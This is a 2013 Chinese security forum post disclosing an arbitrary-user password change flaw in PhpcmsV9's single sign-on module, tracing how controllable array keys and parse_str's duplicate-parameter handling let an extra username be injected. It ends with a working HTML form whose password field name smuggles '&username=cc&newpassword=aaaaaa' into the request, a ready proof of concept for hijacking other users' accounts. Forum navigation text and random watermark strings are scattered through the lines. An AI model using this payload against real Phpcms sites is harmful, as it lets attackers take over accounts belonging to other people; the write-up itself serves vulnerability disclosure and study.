找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1893|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:) @. t+ J) R% y. F' ~$ U7 e
6 C; J  u$ {& i" L2 T3 I+ }
0 o0 D- p" O7 Q) {4 \
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
! [+ T  A0 h6 j
3 S# r# W" O0 C" o在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
# w4 u# o# b' B0 }( \) E3 I. z6 M( c, e3 `2 |8 A: L
我把它留给了你们。
% M, D: @2 |) O' X- {7 i( v不知道你们发现了它没有。5 ^& f/ O+ ]+ r% G6 ~& W

& ^- l  h2 x$ O4 |+ }' i6 x# S我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。* z! D/ ?$ ?0 b, x2 N
6 o0 g5 t  j9 ?7 S# t9 A" |/ `- o
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
3 E; \) C- r) b/ y& k9 x7 e% w$ b3 N% E3 |+ `
也就是+ o" Q3 a- \) A% D* O- J+ f, |6 v5 X
+ E% \' Z! Q3 f  n8 t
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
. Q- A9 d( R8 j" o
9 d4 l8 _  M# P) H8 Y% w要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
* v8 _* \) s3 ?" v9 H$ o& w- W4 s: ]
) w4 V/ f  V. |  A
3 F! _+ E" Q4 V' y8 I其实我们有这样的机会,看看代码,如下:7 @4 y4 x$ U7 g1 h1 d( z$ a5 r

. S1 i4 t& g0 o6 J7 L! D& B. d) S% L0 O8 o9 @( x. ?: t
public function auth_data($data) {' @5 Z9 J2 F  u. f5 v2 d- y
                $s = $sep = '';. R. ~+ J! v5 e' {& }! T1 Z
                foreach($data as $k => $v) {8 E8 J* i+ U4 w% R# D, l; ]
                        if(is_array($v)) {
. N) Y: k3 \* L, H2 m3 M                                $s2 = $sep2 = '';; }! ?# Q  `! q- W
                                foreach($v as $k2 => $v2) {
, \6 a# c  z# g" X" w                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);3 e" r' w2 {0 a* L
                                        $sep2 = '&';) Y' s9 b$ |1 L1 B
                                }, n! b7 e) j$ `5 Y, r0 k
                                $s .= $sep.$s2;1 D  ~; `$ O% D- v
                        } else {
* Q, u6 x* l: M8 Y! l6 {% W5 {                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
+ @; q/ `7 g# G8 ^- A                        }
0 _" y# L( @+ K4 C/ L; y                        $sep = '&';
4 J. e8 r' n9 i4 w                }1 m0 q1 J7 h) Z: y5 T! z% A8 t
0 B1 o5 ?: ~, R9 V: n
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));( D! M" q' y6 i
                return $auth_s;$ o/ j6 {' G0 s" Q& U9 s+ K8 n! Q
        }: [3 j# h! L8 c
, b3 I0 D* V5 ~  A; F5 g: t
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。0 D8 E, M8 n) E; H# o6 _

, w( i9 {+ M' c( M7 J1 z举个例子
1 B  S8 m$ P, O! o6 x/ @' a5 Y  J7 d7 E; H
$a[aaa=a&bbb] = 'a';
( J5 L, L& w8 p' @6 B% r, K& `6 G
3 w8 b! @9 a0 D0 J会变成aaa=a&bbb=a9 j8 R% ~' N4 z, C' t
3 I# y! s' a% U! Q, ^. \
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
: Q5 F5 E7 x% M: Z# s1 p' U+ w+ n: L# n/ \/ |
这个时候,我们可以再去看一个函数。
$ C% ?6 r2 p% V1 e, q0 G
# S* k) t5 P5 g8 M: @" S, ?+ u就在这个文件内:6 t" X& d' O, A0 M
% _1 p: L) B3 J5 [- m2 S! v

/ B, I+ K  n& s. k  G  Rpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
4 O7 Q$ E1 ^5 U( M8 `& H                if($email && !$this->_is_email($email)) {: e" }8 J; s" a) B
                        return -4;
7 I  N$ C: ^9 Y8 V$ p& x- H                }4 }* }& B& [( B% }1 m* m
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
" K2 O4 h% Q0 o' G% g5 Y  O        }
4 L8 p6 C# Q# y. p+ m+ a/ Z
, A( p7 r6 w* T9 Y# _5 C/ b. o1 B这是向通行证发了这样一个请求。- h3 ~' o$ N5 H$ C

3 }( C" b6 p1 F4 I: [我们再跟到通信证代码里去看看,就会有所发现。/ H! {7 C  d8 n+ V. I

1 r" a3 b2 G. D- |6 s- h0 @7 O7 ~' y& Q3 ^
public function edit() {
1 S. Q4 |" @& P9 ]  t, U9 C//能省就省,太长了不是吗?
' Z. q' R( k* ~- I7 I# a
1 p2 b2 s5 E- W: p$ C; kif($this->username) {3 A* _4 e  F! t2 X
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
5 o0 L# q0 p: A% u7 y/ Q) e                                $res = $this->db->update($data, array('username'=>$this->username));1 Q, f% T7 A0 X5 y
                        } else {
5 a' s4 h/ {: \; u( ^3 Q                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);# c. ?* M2 R+ L$ K& F7 H. k
                                $res = $this->db->update($data, array('uid'=>$this->uid));
* t; r$ @8 m( {  S9 g# W& Y                        }
+ l: D, u# K" u4 m8 J  c$ m+ \  R( ?( Y$ G" z
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:( h4 A# e" ^- h2 X6 t  }4 X
" d1 s5 V( U: Y* z- r' J
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')1 d8 z& @2 x! ]) W7 P3 `

" v; @1 g$ A  a" _, m很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
% N+ |4 _2 D6 s& h9 Z3 @2 c$ ?0 T6 s3 u* h, \
我当然找到了:- |1 ^; |& r9 d1 ?! h& [
phpcms9/phpcms/modules/member/index.php. V5 |+ C( h* h

& {) @; {" P3 X$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);9 x6 ?/ v8 H+ i4 c( w3 C  R  b
6 Q  Y$ k  I4 f3 Z$ J
然后就没有然后了。$ t0 v2 J1 I& X! b% t9 E3 }$ R

* \' {$ b: d+ E' X0 A& l9 w<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">4 s/ Y" G) n" X# n
                                <table width="100%" cellspacing="0" class="table_form">
# j+ \3 y( ?) }! X, L2 F  G; h                                        <tr>
; W' T- a8 a+ |& e1 E) R$ ~1 @                                                <th width="80">邮箱:</th>        6 l  G9 `5 ?9 r
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>) D. {3 M7 _' ^0 p5 O7 e( v
                                        </tr>
6 j7 N1 B# P+ S5 O                                        <tr>
6 x3 X; d1 Z& B) @' p" Y- O                                                <th width="80">原密码:</th>        
6 ~8 Y7 E( e: z6 q$ [: ~  E4 o2 A                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
7 j# O  z- s1 b, o+ ^9 R# H9 F! S; H                                        </tr>4 |5 e( ]( h- j8 I
                                        <tr>
2 S1 t1 Y6 o3 H5 `                                                <th>新密码:</th>+ ^6 H% R5 |; l+ }4 {
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>: o* i4 a7 }& Q- l1 U
                                        </tr>: a! M% o2 Q! m' U( b- `8 X
                                        <th></th>
# C+ P) T+ {+ l# R' S" X% `$ u                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
$ b. B, h5 y  B! R                                        </tr>
: J7 b) F1 V9 [6 I1 S" ?5 c                                </table>! q+ T; ^' M# h. h
: f( P- i! {8 V& {; r; w
                               
8 O3 P& a- O3 S# D% j# d7 o# g                        </form>! P4 m3 W* K  ^# Z  B  v# q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表